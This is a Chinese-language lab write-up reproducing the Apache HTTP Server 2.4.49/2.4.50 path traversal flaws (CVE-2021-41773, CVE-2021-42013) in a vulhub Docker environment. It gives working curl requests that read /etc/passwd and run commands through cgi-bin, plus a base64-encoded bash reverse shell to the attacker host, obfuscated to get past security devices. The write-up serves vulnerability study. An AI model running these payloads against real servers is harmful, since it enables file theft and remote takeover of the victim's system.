一、软件介绍
从Apache官方公告来看,攻击者可以使用路径遍历攻击将URL映射到预期文档根以外的文件。如果文档根目录以外的文件不受`require all denied`保护,则攻击者可以访问这些文件。
Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展,将Perl/Python等解释器编译到服务器中。
二、受影响版本
CVE-2021-41773 影响范围为2.4.49
CVE-2021-42013 影响范围为2.4.49/50
三、漏洞简述
该漏洞是由于Apache HTTP Server 2.4.49版本存在目录穿越漏洞,在路径穿越目录<Directory />Require all granted</Directory> 允许被访问的的情况下(默认开启),攻击者可利用该路径穿越漏洞读取到Web目录之外的其他文件在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cg命令(RCE)
四、环境搭建
Kali Linux: 192.168.21.4
靶机Linux:192.168.25.21
cd /root/vulhub-master/httpd/CVE-2021-41773
Execute following commands to start a vulnerable Apache HTTP Server:
docker-compose build
docker-compose up -d
五、漏洞复现
1、利用该漏洞进行文件读取
curl -v --path-as-is http://192.168.25.21:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
成功读取到靶机上的 /etc/passwd文件

2、命令执行
curl --data "echo;id" "http://192.168.25.21:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

也可以使用burpsuite来执行命令:

3、反弹shell测试
由于靶机环境中/bin/sh指向的是dash,不能直接进行bash反弹,/bin/sh 指向的为dash,而我们反弹shell中用到的为bash,dash和bash语法方面不一样,在靶机环境中看下/bin/sh的指向:

果然是指向了dash,网上的解决办法是将dash重新变回bash,或者将shell脚本放在文件中执行,但真实的攻击环境中,权限不够,肯定是该不了sh的指向的,其实可以利用bash -c 参数,反弹shell POC如下:
bash -c '{echo,payload_base64}|{base64,-d}|{bash,-i}'
第一步,将payload 先编码再解码,这样可以不仅可以防止反弹shell的特征太过明显,导致被安全设备拦截,还可以做到一致性通用sh环境,新的payload如下:
将
bash -i >& /dev/tcp/192.168.21.4/8888 0>&1
第二步,将base64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjQvODg4OCAwPiYx
第三步,替换payload_base64,最终可得:
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}'
第四步,Kali Linux首先开启监听:

第五步,重新执行以上payload:

反弹成功:

六、修复建议
升级到新版本。